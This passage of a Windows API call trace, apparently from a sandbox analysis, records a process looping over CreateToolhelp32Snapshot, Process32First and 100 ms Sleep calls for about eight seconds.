cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.974] Sleep (dwMilliseconds=0x64) [0253.976] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.994] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.062] Sleep (dwMilliseconds=0x64) [0254.096] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0254.113] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.208] Sleep (dwMilliseconds=0x64) [0254.210] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0254.259] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.334] Sleep (dwMilliseconds=0x64) [0254.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0254.352] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.475] Sleep (dwMilliseconds=0x64) [0254.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0254.491] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.605] Sleep (dwMilliseconds=0x64) [0254.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0254.622] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.725] Sleep (dwMilliseconds=0x64) [0254.726] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0254.743] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.960] Sleep (dwMilliseconds=0x64) [0254.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0254.980] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.080] Sleep (dwMilliseconds=0x64) [0255.082] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.097] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.180] Sleep (dwMilliseconds=0x64) [0255.182] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.196] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.295] Sleep (dwMilliseconds=0x64) [0255.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.310] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.431] Sleep (dwMilliseconds=0x64) [0255.441] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.453] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.556] Sleep (dwMilliseconds=0x64) [0255.559] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.584] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.685] Sleep (dwMilliseconds=0x64) [0255.687] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.699] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.764] Sleep (dwMilliseconds=0x64) [0255.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.819] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.886] Sleep (dwMilliseconds=0x64) [0255.887] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0255.900] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.998] Sleep (dwMilliseconds=0x64) [0256.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0256.013] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.130] Sleep (dwMilliseconds=0x64) [0256.133] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0256.149] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.255] Sleep (dwMilliseconds=0x64) [0256.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0256.272] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.392] Sleep (dwMilliseconds=0x64) [0256.394] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0256.409] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.481] Sleep (dwMilliseconds=0x64) [0256.500] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0256.556] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.624] Sleep (dwMilliseconds=0x64) [0256.627] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0256.643] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.751] Sleep (dwMilliseconds=0x64) [0256.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0256.777] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.901] Sleep (dwMilliseconds=0x64) [0256.903] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0256.963] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.075] Sleep (dwMilliseconds=0x64) [0257.084] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0257.100] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.189] Sleep (dwMilliseconds=0x64) [0257.198] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0257.312] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.412] Sleep (dwMilliseconds=0x64) [0257.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0257.443] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.555] Sleep (dwMilliseconds=0x64) [0257.564] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0257.578] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.679] Sleep (dwMilliseconds=0x64) [0257.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0257.701] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.796] Sleep (dwMilliseconds=0x64) [0257.798] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0257.811] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.875] Sleep (dwMilliseconds=0x64) [0257.882] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0257.971] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.088] Sleep (dwMilliseconds=0x64) [0258.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0258.104] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.204] Sleep (dwMilliseconds=0x64) [0258.213] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0258.236] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.345] Sleep (dwMilliseconds=0x64) [0258.354] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0258.367] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.504] Sleep (dwMilliseconds=0x64) [0258.509] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0258.524] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.589] Sleep (dwMilliseconds=0x64) [0258.590] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0258.603] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.697] Sleep (dwMilliseconds=0x64) [0258.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0258.719] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.851] Sleep (dwMilliseconds=0x64) [0258.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0258.876] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.013] Sleep (dwMilliseconds=0x64) [0259.015] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.033] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.142] Sleep (dwMilliseconds=0x64) [0259.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.172] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.276] Sleep (dwMilliseconds=0x64) [0259.278] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.292] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.376] Sleep (dwMilliseconds=0x64) [0259.378] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.400] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.468] Sleep (dwMilliseconds=0x64) [0259.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.484] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.583] Sleep (dwMilliseconds=0x64) [0259.592] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.608] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.690] Sleep (dwMilliseconds=0x64) [0259.691] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.705] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.812] Sleep (dwMilliseconds=0x64) [0259.821] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.835] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.944] Sleep (dwMilliseconds=0x64) [0259.946] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0259.999] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.064] Sleep (dwMilliseconds=0x64) [0260.073] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0260.086] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.215] Sleep (dwMilliseconds=0x64) [0260.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0260.247] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.355] Sleep (dwMilliseconds=0x64) [0260.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0260.374] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.482] Sleep (dwMilliseconds=0x64) [0260.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0260.501] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.605] Sleep (dwMilliseconds=0x64) [0260.615] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0260.628] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.694] Sleep (dwMilliseconds=0x64) [0260.695] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0260.711] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.883] Sleep (dwMilliseconds=0x64) [0260.885] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c4 [0260.900] Process32First (in: hSnapshot=0x10c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.007] Sleep (dwMilliseconds=0x64) [0261.105] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0261.124] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.332] Sleep (dwMilliseconds=0x64) [0261.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0261.346] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.441] Sleep (dwMilliseconds=0x64) [0261.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0261.464] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.530] Sleep (dwMilliseconds=0x64) [0261.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0261.565] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.642] Sleep (dwMilliseconds=0x64) [0261.653] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0261.667] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.804] Sleep 